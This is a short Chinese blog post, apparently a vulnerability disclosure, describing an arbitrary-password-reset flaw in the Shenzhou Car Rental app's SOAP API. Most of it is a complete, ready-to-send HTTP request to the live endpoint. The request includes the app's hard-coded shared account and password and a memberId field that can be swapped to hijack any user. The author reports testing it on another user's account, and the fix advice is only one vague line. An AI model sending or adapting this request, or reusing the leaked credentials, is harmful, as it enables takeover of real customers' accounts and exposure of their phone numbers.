问题出在神州租车的app端,校验机制设计的太脆弱~       下面是修改用户个人资料的请求数据包,数据包中的验证部分account、password居然是公共的所有用户的验证都是同样的值,又没有其他的验证机制,那么这里肯定可以修改任意用户的值~

POST http://sdk.zuche.com/CARSDK/services/zuche1 HTTP/1.1

Host: sdk.zuche.com

Connection: close

Accept-Encoding: gzip

Content-Type: text/xml; charset=utf-8

Content-Length: 526

Connection: close

SOAPAction: http://sdk.zuche.com/CARSDK/services/zuche1?UpdateUser

User-Agent: 神州租车 2.6 (iPhone; iPhone OS 7.0.4; zh_CN)



<?xml version='1.0' encoding='utf-8'?>

<soap:Envelope xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'>

<soap:Header>

<CheckSoap xmlns='http://tempuri.org/'>

<Account>szzciphone</Account>

<Password>szzc#iphone</Password>

</CheckSoap>

</soap:Header>

<soap:Body>

<UpdateUser xmlns='http://tempuri.org/'>

<User>{"memberId":"3xxxx3","password":"123qwe","emailaddress":"xxxxx@sina.cn"}</User>

</UpdateUser>

</soap:Body>

</soap:Envelope>

 

        所以,我们通过修改memberId就能修改任意用户的信息,通过测试这里的emailaddress参数如果为空,将不会更改用户原来设置的值,修改不同id用户的密码后, 系统会返回该用户的帐号信息(手机号码),那么有了手机号码,我们就能登陆任意用户的帐号,下面是我自己的帐号测试结果;   神州租车任意用户密码修改 – 网站安全 – 自学p插图 下面我们随意测试一个用户的帐号吧;   神州租车任意用户密码修改 – 网站安全 – 自学p插图1 这个就是证明咯;  

神州租车任意用户密码修改 – 网站安全 – 自学p插图2 修复方案: 各种校验,没说的~

    上一篇: 安全狗高权限时的提权方法 - 网站安全 - 自学p

    下一篇: C#防SQL注入代码的实现方法 - 网站安全 - 自学ph
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《神州租车任意用户密码修改 – 网站安全 – 自学p
   

还没有人抢沙发呢~